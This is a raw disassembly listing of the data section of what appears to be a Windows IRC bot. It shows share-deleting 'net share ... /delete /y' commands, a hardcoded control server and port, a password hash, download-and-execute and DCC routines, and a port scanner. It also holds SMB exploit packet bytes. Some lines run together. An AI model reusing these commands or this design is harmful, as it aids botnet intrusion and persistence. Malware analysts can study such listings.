dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086ECo ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
dword_4437FC	dd 20544F48h, 53584946h, 0aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+386o
		align 4
		dd 0
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+375o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o
		align 10h
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+353o
		dd 0
aTahy		db 'TAHY-',0            ; DATA XREF: sub_407790+345o
		align 4
aHoewrt		db 'hoewrt',0           ; DATA XREF: sub_407790+334o
		align 4
aHotfixs_exe	db 'hotfixs.exe',0      ; DATA XREF: sub_407790+323o
		dd 0
aServec		db 'servec',0           ; DATA XREF: sub_407790+312o
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+301o
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2F0o
		align 10h
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438B0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438D0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4438F8	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A20	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443AF4:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C74	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C78:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C84:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CC4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CDC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CEC	dd 4255505Bh, 5D43494Ch, 0dword_443CF8	dd 4952505Bh, 45544156h, 5Dhdword_443D04	dd 202Eh						; sub_4126B0+E5o
dword_443D08	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D24:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D28:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D2C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D30	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D70	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D74	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D80	dd 652Dh	dword_443D84	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DC0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DC4	dd 2Eh							; ___:0041B235o ...
dword_443DC8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E14:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E28	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74	dd 63257325h, 0						; sub_41F860+E5o
dword_443E7C	dd 72h		dword_443E80	dd 30h							; sub_424840+327o
dword_443E84	dd 3039h	dword_443E88	dd 383631h	dword_443E8C	dd 323931h	dword_443E90	dd 3631h	dword_443E94	dd 323731h	dword_443E98	dd 3031h	off_443E9C	dd offset loc_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EA0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EA4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EA8	dd 430050h						; ___:0041C25Br
dword_443EAC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EE8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FEC	dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC	dd 6469706Bh, 7325203Ah, 0dword_444008	dd 203A736Bh, 7325hdword_444010	dd 202E6425h, 7325202Fh, 0dword_44401C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_444098:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
off_444314	dd offset word_616C4E	; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44432C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444400:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444438	dd 1BDh							; sub_422A40+310o ...
off_44443C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444440	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
off_444570	dd offset dword_612D20	; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
dword_444574	dd 722D20h						; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44466C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444830	dd 10FF8h, 0	dword_444838	dd 10FF8h	dword_44483C	dd 7FFDF020h, 0	dword_444844	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
